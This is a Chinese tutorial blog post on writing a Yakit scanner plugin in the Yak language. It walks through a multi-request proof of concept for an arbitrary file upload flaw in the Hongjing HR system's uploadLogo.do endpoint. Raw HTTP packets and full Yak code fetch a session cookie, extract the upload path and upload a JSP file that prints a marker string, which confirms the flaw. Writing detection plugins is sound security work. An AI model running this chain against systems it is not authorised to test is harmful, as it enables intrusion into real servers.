前言
在使用yakit进行编写yaml插件的时候遇到了yaml无法处理的情况,我不知道是不是yaml无法处理或者说是yakit和yaml的兼容还不够,面对变量的处理还是有些难受,于是花了点时间看了官网的yak语法的手册和其他人写的yak插件尝试使用yak语言来完成这个插件,但是在全网寻找发现教yak的真的很少,大部分情况都只能看官方的手册解惑。那么我这里就展示编写一个插件的全过程,附带讲解常用的一些函数使用的方式。
poc解析
此次演示编写的插件是——“宏景人力资源信息管理系统uploadLogo存在任意文件上传漏洞“
原始数据包也是比较复杂的
数据包1 拿到JSESSIONID
POST /sys/cms/uploadLogo.do?b_upload=upload&isClose=2&type=1 HTTP/1.1
Host: 数据包2、3 此数据包发送两遍,第一遍访问需要从响应包中难道请求路径,第二个数据包访问路径进行上传
POST /sys/cms/uploadLogo.do?b_upload=upload&isClose=2&type=1 HTTP/1.1
Host: {{params(target)}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Cookie: {{params(JSESSIONID)}};
Content-Type:multipart/form-data; boundary=----WebKitFormBoundaryfjKBvGWJbG07Z02r
Content-Length: 522------WebKitFormBoundaryfjKBvGWJbG07Z02r
Content-Disposition: form-data; name="path"{{params(path)}}.jsp
------WebKitFormBoundaryfjKBvGWJbG07Z02r
Content-Disposition: form-data; name="lfType"0
------WebKitFormBoundaryfjKBvGWJbG07Z02r
Content-Disposition: form-data; name="logofile"; filename=""
Content-Type: image/gif<%= "qaxnb666" %>
------WebKitFormBoundaryfjKBvGWJbG07Z02r
Content-Disposition: form-data; name="twoFile"; filename=""
Content-Type: image/gif<%= "qaxnb666" %>
------WebKitFormBoundaryfjKBvGWJbG07Z02r--数据包4 此数据包访问看是否上传成功,成功即响应包中回显上传的数据
GET /images.jsp HTTP/1.1
Host: {{params(target)}}
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
可以看到一共需要发送4次,其实为什么yaml写不出来就是第二次发送的数据包难道的路径用正则提取还需要进行二次处理,但是yakit的变量传递好像是无法处理,yaml中我也没有成功的处理这个提取结果只能直接用代码实现。
理解了poc的流程那么首先是将其使用代码实现出来,这里使用Yak Runner模块
需要在这里将代码调试好了再直接转为插件
这里比较重要的是左边的帮助文档,在这里有很多函数的使用介绍,在不知道一个函数的具体用法的时候可以在左边进行查询
代码编写阶段
首先我们需要获取目标和地址
addr = str.HostPort("127.0.0.1", 80) //addr就是127.0.01:80
isTls = str.IsTLSServer(addr) //判读是http还是https 返回bool
接下来将几个数据包放进去
写法就是
packet = `........`
packet1 = `GET /module/system/qrcard/mobilewrite/qrcardmain.jsp HTTP/1.1
Host: {{params(target)}}
`packet2 = `POST /sys/cms/uploadLogo.do?b_upload=upload&isClose=2&type=1 HTTP/1.1
Host: {{params(target)}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Cookie: {{params(JSESSIONID)}};
Content-Type:multipart/form-data; boundary=----WebKitFormBoundaryfjKBvGWJbG07Z02r
Content-Length: 522------WebKitFormBoundaryfjKBvGWJbG07Z02r
Content-Disposition: form-data; name="path"{{params(path)}}.jsp
------WebKitFormBoundaryfjKBvGWJbG07Z02r
Content-Disposition: form-data; name="lfType"0
------WebKitFormBoundaryfjKBvGWJbG07Z02r
Content-Disposition: form-data; name="logofile"; filename=""
Content-Type: image/gif<%= "qaxnb666" %>
------WebKitFormBoundaryfjKBvGWJbG07Z02r
Content-Disposition: form-data; name="twoFile"; filename=""
Content-Type: image/gif<%= "qaxnb666" %>
------WebKitFormBoundaryfjKBvGWJbG07Z02r--
`packet3=`GET /images.jsp HTTP/1.1
Host: {{params(target)}}
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
`
``会保留字符串中的所有字符,什么换行啥的比较稳定,其次可以看到Host: {{params(target)}} 有了解yakit 的fuzztag就知道这他引用变量的方法,里面的{{params(JSESSIONID)}}和{{params(path)}}后续我传入参数的地方
当然在写的时候建议是一个数据包一个数据包的处理,可以不直接将所有数据包先定义好
数据包的请求
常用poc.HTTP,还可以使用poc.HTTPEx 等,具体就去看官方手册的解释
沿用的golang的风格返回三个值都是rsp,req字节数组和err,这里_的意思就是不管error
rsp,req,_ = poc.HTTP(packet1, poc.params({"target":addr}), //数据包中的传参poc.https(isTls), //是否使用tlspoc.redirectTimes(0), //重定向为0)
可以使用dump()函数来看具体的某个变量的情况,这个函数比较智能,可以看类型属性啥的。
对于字节数据后续其他函数肯定是难以处理的,必须将其转为其他的一些格式方便我们使用,比如rsp我们如果需要获取他的状态码和body
rsp_content = poc.ParseBytesToHTTPResponse(rsp)~ //~是抛出异常的方式
返回的是一个结构体,可以看到有很多属性
这里的目的是获取响应的header 中的 Set-Cookie 的值,header字段是
但是直接看这个只知道是 rsp_content.header看不出具体的值怎么获取,那么就可以使用dump先看格式
看到类型是数组 那么
cok:=rsp_content.Header["Set-Cookie"][0] //:=也是golang的赋值方式,yak也支持很方便
拿到set-cookie 的值
这里我需要对这个值进行进一步的处理将; Path=/ 去除
cok2:=str.Split(cok, ";")[0] //将cok从;分割开取第一个数组的值
到此我们拿到了一个变量,后续方式也是按照这种思路来的,不知道的就dump看一下,函数不知道用什么的就看看官方手册
第二个数据包请求
#第二个数据包请求获取返回的文件路径rsp2,req2,_ = poc.HTTP(packet2, poc.params({"target":addr,"JSESSIONID":cok2,"path":""}), //多变量传入的方式poc.https(isTls),poc.redirectTimes(0),)
正则表达式的使用
rsp2_content = poc.ParseBytesToHTTPResponse(rsp2)~
#使用正则表达式提取body中的值
#rsp2_content.Body还是字节数组,需要强转为string类型
path1:=re.Find(string(rsp2_content.Body), `alue="([^"]+)";` /*type: string*/)
等等后续的处理差不多就不细嗦了
最后就是如何判断是否存在漏洞,以及漏洞存在的info
需要在代码的开头先初始化info
yakit.AutoInitYakit()
log.setLevel("info")
然后最终的判断,我这里是访问数据包存在"qaxnb666" 就证明存在漏洞,然后risk可以编写自定义相关的信息,自己修改一下就行
if str.MatchAllOfSubString(rsp4, "qaxnb666"){yakit.Info("宏景人力资源信息管理系统uploadLogo存在任意文件上传任意文件上传漏洞")risk.NewRisk(addr,risk.title("宏景人力资源信息管理系统uploadLogo存在任意文件上传意文件上传漏洞 "),risk.severity("critical"),risk.titleVerbose("宏景人力资源信息管理系统uploadLogo存在任意文件上传"),risk.type("file-upload"),risk.description("任意文件上传,先访问获取cookie,再访问路径获取上传的路径,再上 传到指定路径最后访问是否上传成功"),risk.solution("打补丁"),risk.details({"target":addr,"request":req4,"response":rsp4,}))}
完整代码
实际可以进行优化,比如在第一个数据包就开始判断如果返回的不是200那就直接return不继续,可以提高效率
addr = str.HostPort(target, port)isTls = str.IsTLSServer(addr)packet1 = `GET /module/system/qrcard/mobilewrite/qrcardmain.jsp HTTP/1.1
Host: {{params(target)}}
`packet2 = `POST /sys/cms/uploadLogo.do?b_upload=upload&isClose=2&type=1 HTTP/1.1
Host: {{params(target)}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Cookie: {{params(JSESSIONID)}};
Content-Type:multipart/form-data; boundary=----WebKitFormBoundaryfjKBvGWJbG07Z02r
Content-Length: 522------WebKitFormBoundaryfjKBvGWJbG07Z02r
Content-Disposition: form-data; name="path"{{params(path)}}.jsp
------WebKitFormBoundaryfjKBvGWJbG07Z02r
Content-Disposition: form-data; name="lfType"0
------WebKitFormBoundaryfjKBvGWJbG07Z02r
Content-Disposition: form-data; name="logofile"; filename=""
Content-Type: image/gif<%= "qaxnb666" %>
------WebKitFormBoundaryfjKBvGWJbG07Z02r
Content-Disposition: form-data; name="twoFile"; filename=""
Content-Type: image/gif<%= "qaxnb666" %>
------WebKitFormBoundaryfjKBvGWJbG07Z02r--
`packet3=`GET /images.jsp HTTP/1.1
Host: {{params(target)}}
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
`#第一个数据包拿到cookiersp,req,_ = poc.HTTP(packet1, poc.params({"target":addr}),poc.https(isTls),poc.redirectTimes(0),)rspIns = poc.ParseBytesToHTTPResponse(rsp)~#dump(rspIns)if str.MatchAllOfSubString(rspIns, `Set-Cookie`)==false{return}cok:=rspIns.Header["Set-Cookie"][0]cok2:=str.Split(cok, ";")[0]println(cok2)print(123)#第二个数据包请求获取返回的文件路径rsp2,req2,_ = poc.HTTP(packet2, poc.params({"target":addr,"JSESSIONID":cok2,"path":""}),poc.https(isTls),poc.redirectTimes(0),)if str.MatchAllOfSubString(rsp2, `images"`)==false{return}rsp2_content = poc.ParseBytesToHTTPResponse(rsp2)~#使用正则表达式提取body中的值#rsp2_content.Body还是字节数组,需要强转为string类型path1:=re.Find(string(rsp2_content.Body), `alue="([^"]+)";` /*type: string*/)println(path1)#使用trim去除 前后没用的字符path2:=str.Trim(path1 /*type: string*/, `alue="";` /*type: string*/)println(path2)#第三个数据包替换路径进行上传rsp3,req3,_ = poc.HTTP(packet2, poc.params({"target":addr,"JSESSIONID":cok2,"path":path2}),poc.https(isTls),poc.redirectTimes(0),)#第四个数据包尝试访问上传的文件rsp4,req4,_ = poc.HTTP(packet3, poc.params({"target":addr}),poc.https(isTls),poc.redirectTimes(0),)rsp4_content = poc.ParseBytesToHTTPResponse(rsp4)~print(rsp4_content.Body)if str.MatchAllOfSubString(rsp4, "qaxnb666"){yakit.Info("宏景人力资源信息管理系统uploadLogo存在任意文件上传任意文件上传漏洞")risk.NewRisk(addr,risk.title("宏景人力资源信息管理系统uploadLogo存在任意文件上传意文件上传漏洞 "),risk.severity("critical"),risk.titleVerbose("宏景人力资源信息管理系统uploadLogo存在任意文件上传"),risk.type("file-upload"),risk.description("任意文件上传,先访问获取cookie,再访问路径获取上传的路径,再上 传到指定路径最后访问是否上传成功"),risk.solution("打补丁"),risk.details({"target":addr,"request":req4,"response":rsp4,}))}return
}
编写为插件
来到新建插件
选择yak-端口扫描插件,这种插件他帮你写好了格式,可以不需要写处理目标的代码。我当前的版本不可以进行批量扫描目标,我去官方反应说是bug会修复。所以目前如果要批量检测的需要写原生插件
可以看到源码中有很多提示
因为我们没有在代码中编写如何处理传入目标相关的代码,就是为了使用这里的他默认的格式
提示中已经告诉我们了result就是servicescan得到的目标,也就是我们传入的目标他会将他解析,我们只需要用result 这个对象就可以了,同时他还有很多自带的函数比如 IsOpen() GetHtmlTitle()可以用来做指纹的识别,比如拿到result 判断result中body中有没有一些关键词,比如weaver 如果有才进行自己编写的检测阶段
那么实际的插件编写就需要将我们所有的检测流程全部放入到 handle 函数中,参数一般常用的就是 (result.Target,result.Port) 进行传参
完整插件代码
//by dreamer292
yakit.AutoInitYakit()
log.setLevel("info")
# Input your code!handleCheck = func(target,port) {addr = str.HostPort(target, port)isTls = str.IsTLSServer(addr)packet1 = `GET /module/system/qrcard/mobilewrite/qrcardmain.jsp HTTP/1.1
Host: {{params(target)}}
`packet2 = `POST /sys/cms/uploadLogo.do?b_upload=upload&isClose=2&type=1 HTTP/1.1
Host: {{params(target)}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Cookie: {{params(JSESSIONID)}};
Content-Type:multipart/form-data; boundary=----WebKitFormBoundaryfjKBvGWJbG07Z02r
Content-Length: 522------WebKitFormBoundaryfjKBvGWJbG07Z02r
Content-Disposition: form-data; name="path"{{params(path)}}.jsp
------WebKitFormBoundaryfjKBvGWJbG07Z02r
Content-Disposition: form-data; name="lfType"0
------WebKitFormBoundaryfjKBvGWJbG07Z02r
Content-Disposition: form-data; name="logofile"; filename=""
Content-Type: image/gif<%= "qaxnb666" %>
------WebKitFormBoundaryfjKBvGWJbG07Z02r
Content-Disposition: form-data; name="twoFile"; filename=""
Content-Type: image/gif<%= "qaxnb666" %>
------WebKitFormBoundaryfjKBvGWJbG07Z02r--
`packet3=`GET /images.jsp HTTP/1.1
Host: {{params(target)}}
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
`#第一个数据包拿到cookiersp,req,_ = poc.HTTP(packet1, poc.params({"target":addr}),poc.https(isTls),poc.redirectTimes(0),)rspIns = poc.ParseBytesToHTTPResponse(rsp)~#dump(rspIns)if str.MatchAllOfSubString(rspIns, `Set-Cookie`)==false{return}cok:=rspIns.Header["Set-Cookie"][0]cok2:=str.Split(cok, ";")[0]println(cok2)print(123)#第二个数据包请求获取返回的文件路径rsp2,req2,_ = poc.HTTP(packet2, poc.params({"target":addr,"JSESSIONID":cok2,"path":""}),poc.https(isTls),poc.redirectTimes(0),)if str.MatchAllOfSubString(rsp2, `images"`)==false{return}rsp2_content = poc.ParseBytesToHTTPResponse(rsp2)~#使用正则表达式提取body中的值println(123123)#rsp2_content.Body还是字节数组,需要强转为string类型path1:=re.Find(string(rsp2_content.Body), `alue="([^"]+)";` /*type: string*/)println(path1)#使用trim去除 前后没用的字符path2:=str.Trim(path1 /*type: string*/, `alue="";` /*type: string*/)println(path2)#第三个数据包替换路径进行上传rsp3,req3,_ = poc.HTTP(packet2, poc.params({"target":addr,"JSESSIONID":cok2,"path":path2}),poc.https(isTls),poc.redirectTimes(0),)#第四个数据包尝试访问上传的文件rsp4,req4,_ = poc.HTTP(packet3, poc.params({"target":addr}),poc.https(isTls),poc.redirectTimes(0),)rsp4_content = poc.ParseBytesToHTTPResponse(rsp4)~print(rsp4_content.Body)if str.MatchAllOfSubString(rsp4, "qaxnb666"){yakit.Info("宏景人力资源信息管理系统uploadLogo存在任意文件上传任意文件上传漏洞")risk.NewRisk(addr,risk.title("宏景人力资源信息管理系统uploadLogo存在任意文件上传意文件上传漏洞 "),risk.severity("critical"),risk.titleVerbose("宏景人力资源信息管理系统uploadLogo存在任意文件上传"),risk.type("file-upload"),risk.description("任意文件上传,先访问获取cookie,再访问路径获取上传的路径,再上 传到指定路径最后访问是否上传成功"),risk.solution("打补丁"),risk.details({"target":addr,"request":req4,"response":rsp4,}))}return
}handle = func(result /* *fp.MatchResult */) {// handle match resultif !result.IsOpen(){ //如果端口没开发直接结束return}// println(result.Fingerprint.CPEs)if len(result.Fingerprint.HttpFlows)>0{ //判断此端口是不是http流也就是是不是个web服务,如果是就进入漏洞检测阶段handleCheck(result.Target,result.Port) }}
漏洞存在的info信息
整体来看编写起来并不复杂,但是难就难在啥都需要去官方手册看,无法询问ai一些函数的功能,这对脚本小子来说真的天塌了。我感觉就是有一批真正会用的人,然后官方和这些人之间一起在交流完善一些功能,但是没有很多大佬分享出来😢,希望后续有更多人的一起推动yakit和yak吧。